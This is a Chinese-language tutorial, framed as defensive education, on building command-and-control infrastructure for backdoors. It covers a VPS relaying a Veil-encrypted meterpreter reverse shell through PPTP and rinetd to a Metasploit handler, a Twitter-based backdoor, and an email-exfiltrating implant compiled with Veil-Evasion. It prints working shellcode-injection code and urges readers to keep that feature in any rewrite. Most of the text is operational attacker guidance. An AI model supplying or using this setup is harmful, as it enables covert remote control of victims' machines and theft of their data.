C&C服务器

文章正文
发布时间:2024-09-22 22:15

C&C服务器,其全称为command and control server。我们在诸多文章中曾看到过,C&C服务器不仅可以为攻击者提供便利的资源管理平台,也可以保障其个人隐私安全。今天,我们就通过一个几个C&C服务器的搭建实验教程让大家了解一下什么是C&C服务器,以了解如何应对利用C&C的攻击行为。

无C&C服务器通讯 故事

*本文中涉及的故事纯属虚构,如有雷同实数巧合

某天,某攻击者通过固定的外网IP控制了一个处在外网的用户。两台设备的交流完全是点对点交流的,并且交流方式是主动式交流。

2.png

由于该用户由购买了几台电脑,一个IP已经不够用了,所以就在家里面配置了一台路由器。虽然用户可以访问外网,但是这样就导致用户所有的电脑设备都处在一个内网中。攻击者没有办法控制用户的电脑,所以又入侵了他的路由器做了一个端口转发,然后继续控制该用户。

3.png

VPN C&C服务器通讯 故事

随后该攻击者发现自己的外网IP属于动态IP地址。只要一断线,IP地址就会改变。为了能够持久的进行监听会话,攻击者租用了一台VPS服务器,在上面搭建了一个pptp代理,随后用iptable做了端口转发,并且将交流方式改为反弹式交流。

4.png

技术解析

有的时候,地方宽带运营商会有各种各样的规则,这样将会导致控制端的网络非常不稳定。记得我在2012年的时候是使用电信的宽带对后门进行控制,但是电信给我的IP属于一个内网IP。随后打电话给客服改成公网IP,但是这个IP是动态的,每天都在变化。这样复杂的网络环境,攻击者需要一个稳定和安全的C&C服务器。

以下为本次实验的环境:

win 10 一台

Kali Linux 一台

Linode VPS 一个

在这里,我们先使用Kali Linux作为控制端,win 10则为病毒感染的设备,而VPS则作为一个C&C服务器。首先在Linode上租用一台 VPS,我们可以看到这台VPS的公网IP为139.162.5.124。

1.png

为了方便教程,我使用Veil编译一个meterpreter的payload。其设置如下

监听IP:139.162.5.124(VPS的公网IP)

监听端口:1024(随意填写)

Payload种类:python/meterpreter/rev_tcp

加密方式:Pyherion

2.png

然后需要对VPS进行一个简单的设置,通过SSH连接VPS,然后进行update。

3.png

随后安装pptp的基本组件

4.png

对/etc/pptpd.conf文件进行编辑,添加Local IP地址和remote IP地址。

localip 192.168.0.1

remoteip 192.168.0.2

5.png

然后编辑/etc/ppp/chap-secrets文件,设置pptp的账号和密码。

freebuf pptpd freebuf *

6.png

然后再编辑/etc/ppp/options文件,将ms-dns设置为根服务器地址,如8.8.8.8之类的。

7.png

再继续编辑/etc/ppp/options文件,添加net.ipv4.ip_forward=1,其意义是使IP能够转发。保存后可以使用sysctl -p检查一下。

8.png

输入命令/etc/init.d/pptpd restart,让pptp服务重启,然后安装iptable,并且设置相关命令。

iptable安装:

apt-get install iptables

iptable设置:

1. iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -o eth0 -j MASQUERADE

2. iptables-save > /etc/iptables.pptp

3. cd /etc/network/if-up.d/

4. vi iptables

写入以下内容

#!/bin/sh

iptables-restore < /etc/iptables.pptp

5. chmod +x /etc/network/if-up.d/iptables

9.png

到目前这一步pptp已经可以连接到外网了,但是还不够,我们需要对其进行端口转发。大家可以使用iptable继续来做端口转发,或者使用rinetd之类的端口转发工具。

安装rinetd:

sudo apt-get install rinetd

10.png

然后编辑/etc/rinetd.conf文件,写入0.0.0.0 1204 192.168.0.2 1204。其意义是把所有通过1024端口连接本机的IP映射到内网IP中的1024端口。

11.png

保存之后可以重启rinetd服务器,或者通过pkill命令关闭rinetd,然后通过该命令”rinetd -c /etc/rinetd.conf“调用刚才保存的conf文件开启rinetd程序。

12.png

对Kali中PPTP的连接做一下更改,主要是使用MPPE点对点加密连接,并且不发送PPP响应数据包。

13.png

VPN连接没什么问题

14.png

然后打开Metasploit,找到handler,并且对其进行设置。

监听IP:192.168.0.2

监听端口:1024

15.png

在win10客户端激活木马,然后可以看到handler和payload已经成功搭建起了会话。

16.png

也许教程有点绕,但是技术逻辑很清晰。首先是后门持续对VPS进行监听,而VPS则是把被监听端口的流量转发到自己的内网IP上,而客户端在连接到VPN后对这个内网IP进行监听即可。

如下图所示:

1.png

Web C&C服务器通信 故事

慢慢的,VPS服务器商场发现攻击者把一台VPS服务器当作C&C服务器。这个攻击者就思考得改变一下数据交流的方式,于是用微博当作C&C服务器。后门程序和控制程序内置爬虫脚本,通过XPath参数或者其它参数抓取微博中的内容,将其当作控制命令。

5.png

技术解析

这个最能拿来当作例子的应该是twitter,实际上攻击者依靠twitter当作C&C服务器早就不是新闻,比如2015年新闻《俄罗斯攻击者是如何滥用twitter作为Hammertoss C&C服务器的?》。还有的攻击者入侵Discuz论坛,把该论坛当作其C&C服务器。这种开放式的C&C有些是直接分析HTML代码,将特定的参数值当作命令进行处理,有些则是读取json数据等。

在GitHub上公布了一个开源的twitter后门程序,其项目名称叫做twittor。

项目地址:Twittor

这个项目的主要文件如下

implant.py

requirements.txt

twittor.py

看GitHub的官方设置,我们是到Twitter中创建一个application,并且通过pip安装requirement.txt里面的一些组件。

2.png

创建applocation还好理解,因为在implant.py文件中,它需要twitter的username,token和secret等参数来发送推文。

3.png


至于requirements.txt中只有一个python的第三方库需要安全,就是tweepy库。这个库主要功能是和twitter的API建立通讯。

4.png


观察implant.py,该文件调用了以下模块

from tweepy import Stream

from tweepy import OAuthHandler

from tweepy import API

from tweepy.streaming import StreamListener

from uuid import getnode as get_mac

import ctypes

import json

import threading

import subprocess

import base64

import platform

tweepy我们已经说过了,是关于twitter API通讯模块,而json模块主要是对json进行解析。而uuid模块主要是获取目标机器的MAC地址的。ctypes库主要是提供和C语言兼容的数据类型,可以很方便地调用C DLL中的函数,这样可以很方便和meterpreter兼容起来。该文件还调用了threading库,这样可以进行多线程任务。同时也调用了subprocess,这样可以创建多个子线程。base64库主要是对数据进行base64位转码,比如中文等等之类的。而platform库主要是查看其操作系统的类型,版本号等系统信息。

先创建twitter的key和access token。

5.png


然后开启可读可写权限

6.png


把各种token和secret填写到payload和handler内。

7.png


但是运行的时候却报错了。

8.png


google上有人说到,tweepy项目的某个人原本想用update_status做一个开始的连接测试,以保证自己编译的代码可以正常访问google API。但是在tweepy开发的过程中,不注意把这个参数作为了一个首要条件,导致所有凡是要调用tweepy库发推的人必须要先验证update_status。

9.png


只能在twiitor.py里面调用一下tweepy,然后写入api.update_status(status=m),不过测试的时候还是爆出相同的错误。

10.png


但是当我运行twittor.py的时候的确是可以收到信息的,这个就尴尬了。

13.png


google搜索没有结果,于是慢慢查看官方文档,最终找到了问题的出处。原来twitter官方已经不允许使用direct_message命令,同时也表示一个user token不允许在第三方平台登陆。

14.png


而我们代码内刚好就有一个direct_messages命令。估计twitter最近也是被twitter僵尸网络折磨怕了,才会出现相关规则。

15.png


精力有限,如果要让这个C&C上线,需要查看twitter官方文档,重新编写代码了。这个C&C的精华之处在于它把所有的所有的数据转换成base64位进行传播,并且可以插入任意shellcode的数据片到内存值中。也就是说,当该后门被激活的时候,你甚至可以插入meterpreter的shellcode。这个功能的核心代码为以下部分:

class ExecuteShellcode(threading.Thread):

    def __init__(self, jobid, shellc):

        threading.Thread.__init__(self)

        self.shellc = shellc

        self.jobid = jobid

        self.daemon = True

        self.start()

    def run(self):

        try:

            shellcode = bytearray(self.shellc)

            ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),

                ctypes.c_int(len(shellcode)),

                ctypes.c_int(0x3000),

                ctypes.c_int(0x40))

            buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

            ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))

            ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),

                ctypes.c_int(0),

                ctypes.c_int(ptr),

                ctypes.c_int(0),

                ctypes.c_int(0),

                ctypes.pointer(ctypes.c_int(0)))

            ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

        except Exception as e:

            print e

            pass

具体的实现功能如下图所示:

17.png

如果有人要重新编写这个C&C,一定要加上这个功能啊!

Email C&C服务器通讯 故事

但是好景不长,有些攻击者发现这个微博号一直发一些奇怪的内容,深度挖掘之后发现这个微博号是一个C&C服务器。于是攻击者决定要搞一个绝对安全的C&C服务器,于是该攻击者决定在后门程序内加入smtp连接代码。从此该攻击者有了快乐开心的“抓鸡”生活。

6.png

技术解析

在“油管”上看到某个人录制的视频,代码也非常简单,很适合教学,于是便引用他的代码来进行讲解。他的后面程序是基于python来编写的。

文件下载下来后,发现有两个主要程序一个主要目录。

7.png

implant.py:payload

gcat.py:控制端

data目录:数据存放路径

我们先看看implant.py,在1至15行我们可以看到这个后门程序调用了以下的python模块。

8.png

以下是gcat.py调用的模块。模块功能我不做描述了,请自行google。但是有几个模块是十分重要的,就是emai, imaplib和json模块。这里主要是负责处理email的管理,连接,以及编码和解码邮件json数据。

9.png

两个模块都有以下四个主要常量,分别是邮箱号,密码,smtp服务器地址,和smtp端口。

10.png

然后我们一边操作一遍讲解相关代码吧。我们在这里是使用Veil-Evasion 的auxiliary/pyinstaller_wrapper组件进行编译。

12.png

PYTHON_SOURCE填写上implant.py的路径。

13.png

文件名我就叫C&C吧,然后选择默认的编译方式。

14.png

编译好后我复制到windows系统上,然后双击运行。

15.png

这时email收到了一份邮件,里面有我的系统进程,系统版本等详细信息。

16.png

通过payload代码中第504行开始(sendEmail Class),我们可以知道这里就是发送邮件的地方。首先该程序会以这个会话的ID为发件人发一封邮件到payload设置的邮箱里面。我们可以确定整个程序编译是没有任何问题的。

17.png

继续往下看看控制端程序(gcat.py)。从235行开始,我们可以知道它的全部命令。

18.png

往上继续看,原来这个data目录主要是存储屏幕截图的。

20.png

但是当我准备输入-list的时候出错了。连接居然超时了,这个很不正常啊!重新浏览了两个python脚本的代码,都正确啊。

19.png

当时我的内心是大写的崩溃。不怕代码出错误,就怕出了错误不知道在哪里。

23.png

Google的时候发现了这么一个东西。OMG!我设置的两个账号都是QQ和163的,原来是这个原因。

21.png

后面得知Gmail没问题。做做实验还可以,要实际使用就不行了,因为Gmail在国内早被墙了。要解决这个问题也可以,就是用php脚本进行编译,因为QQ,163等对于php的邮箱模块支持没什么问题。这里就不继续讲解了,文章主要是做一个演示的作用。

22.png